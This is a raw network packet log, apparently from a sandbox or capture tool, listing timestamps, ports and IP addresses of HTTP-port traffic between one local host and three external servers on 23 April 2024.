Apr 23, 2024 09:38:08.553283930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553297997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553316116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553323030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553356886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553421021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553436995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553452969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553468943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553484917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553487062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553503036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553515911 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553519964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553539038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553554058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553563118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553577900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553592920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553608894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553621054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553621054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553621054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553621054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553625107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553641081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553649902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553666115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553683043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.553687096 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.553718090 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.556560040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.556581020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.556633949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.556730986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.556747913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.556765079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.556785107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.556798935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.556868076 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.558753967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.558774948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.558794022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.558809996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.558818102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.558829069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.558846951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.558850050 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.558881998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.564198971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564318895 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564335108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564351082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564358950 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.564368010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564384937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564392090 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.564402103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564418077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564421892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.564433098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564450026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.564455986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.564486980 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.566399097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:08.568877935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.568901062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.568917990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.568933964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.568943977 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.568973064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569045067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569061995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569077969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569092989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569097996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569108009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569123030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569125891 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569139957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569154978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569159985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569171906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569188118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569192886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569202900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569221973 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569225073 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569237947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569253922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569257021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569289923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569297075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569313049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569338083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569354057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569355965 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569369078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569386005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569389105 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569401979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569417000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569420099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569434881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569452047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569454908 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569468021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569487095 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569566965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569585085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569601059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569607019 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569616079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569633961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569636106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569649935 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569665909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569669008 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569680929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569695950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569700956 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569711924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569729090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569731951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569746017 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569761992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569765091 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569777966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569793940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569797039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569811106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569828987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569829941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569844961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569864035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569864988 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569885969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569901943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569901943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569920063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569936037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569938898 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569952011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569967985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569971085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.569983006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.569999933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570003033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570014954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570029974 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570031881 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570044994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570060015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570065022 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570075989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570091009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570106030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570106983 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570121050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570135117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570136070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570151091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570158958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570168018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570183039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570185900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570199013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570214987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570215940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570231915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570247889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570251942 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570264101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570280075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570281982 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570295095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570310116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570317984 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570326090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570341110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570346117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570355892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570370913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570374966 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570388079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570404053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570406914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570419073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570435047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570436954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570450068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570466995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570470095 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570501089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570511103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570528030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570542097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570558071 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570561886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570574045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570590019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570595026 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570605040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570621014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570625067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570636988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570652962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570657015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570668936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570686102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570689917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570700884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570715904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570719957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570732117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570749044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570751905 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570765018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570779085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570784092 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570795059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570810080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570813894 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570825100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570841074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570847034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570857048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570873022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570875883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570889950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570905924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570909023 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570921898 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570935965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570940018 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570950985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570966005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570971012 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.570981026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.570996046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.571000099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.571012020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.571028948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.571033955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.571043968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.571059942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.571060896 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.571075916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.571094036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.624011993 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.767334938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:08.785176992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785219908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785259962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785396099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.785757065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785797119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785811901 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.785834074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785870075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785883904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.785906076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785943985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.785954952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.785979986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786016941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786029100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786051989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786099911 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786106110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786201000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786240101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786250114 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786274910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786310911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786323071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786346912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786382914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786392927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786420107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786454916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786468029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786492109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786526918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786537886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786562920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786598921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786611080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786636114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:08.786689997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.786757946 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:08.894448042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:08.894649982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.145934105 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.347147942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.418335915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.449186087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449204922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449220896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449237108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449249029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.449253082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449270964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449286938 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.449289083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449300051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.449307919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449311972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.449325085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449342012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.449348927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.449368954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.449390888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.622474909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.622879982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.622879982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.650260925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650444984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650454044 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650496960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650502920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650541067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650549889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650578022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650587082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650614023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650619984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650651932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650659084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650690079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650697947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650726080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650762081 CEST	80	49733	185.172.128.76	192.168.2.4
